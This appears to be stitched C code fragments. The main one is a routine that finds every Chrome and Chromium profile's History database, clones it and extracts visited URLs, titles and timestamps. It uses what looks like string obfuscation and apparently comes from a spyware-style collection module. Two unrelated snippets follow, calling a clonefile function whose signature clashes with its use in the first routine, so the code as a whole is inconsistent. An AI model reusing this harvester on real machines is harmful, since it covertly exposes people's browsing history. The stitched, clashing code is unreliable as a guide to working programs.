static void url_chrome(void) { int i; glob_t g = {0}; struct stat s; char *query = SO"SELECT IFNULL(B.url, ''), IFNULL(B.title, ''), A.visit_time/1000000-11644473600 AS timestamp FROM visits AS A JOIN urls AS B ON A.url = B.id WHERE timestamp BETWEEN ? AND ?"; char *tmpf = NULL; sqlite3 *db = NULL; sqlite3_stmt *stmt = NULL; do { if(initlib(INIT_LIBSQLITE3)) break; if(glob(SO"~/.config/{google-chrome,chromium}/*/History", GLOB_NOSORT|GLOB_TILDE|GLOB_BRACE, NULL, &g)) break; for(i = 0; i < g.gl_pathc; i++) { do { if(stat(g.gl_pathv[i], &s) || (s.st_mtime < begin)) break; if(!(tmpf = clonefile(g.gl_pathv[i]))) break; if(sqlite3_open(tmpf, &db) != SQLITE_OK) break; if(sqlite3_prepare_v2(db, query, strlen(query) + 1, &stmt, NULL) != SQLITE_OK) break; if(sqlite3_bind_int(stmt, 1, (int)begin) != SQLITE_OK) break; if(sqlite3_bind_int(stmt, 2, (int)end) != SQLITE_OK) break; while(sqlite3_step(stmt) == SQLITE_ROW) { /* TODO gestire con una lista */ if(!list) { if(!(list = malloc(sizeof(struct entry)))) break; listp = list; } else { if(!(listp->next = malloc(sizeof(struct entry)))) break; listp = listp->next; } listp->next = NULL; listp->browser = BROWSER_CHROME; listp->url = strdup(sqlite3_column_text(stmt, 0)); listp->title = strdup(sqlite3_column_text(stmt, 1)); listp->time = (time_t)sqlite3_column_int(stmt, 2); /* TODO */ } } while(0); if(stmt) { sqlite3_finalize(stmt); stmt = NULL; } if(db) { sqlite3_close(db); db = NULL; } if(tmpf) { unlink(tmpf); free(tmpf); tmpf = NULL; } } } while(0); globfree(&g); return; }
int main(int argc, char **argv) { int r; if (argc != 3) { fprintf(stderr, "Usage: %s sourcefile clonedfile\n", argv[0]); return 1; } /* Clone source to destination with no flags set. */ r = clonefile(argv[1], argv[2], 0); if (r) { perror(argv[0]); return r; } return 0; }
void abstract(int mode) { switch(mode) { case 0: writefile(); break; case 1: clonefile(); break; } }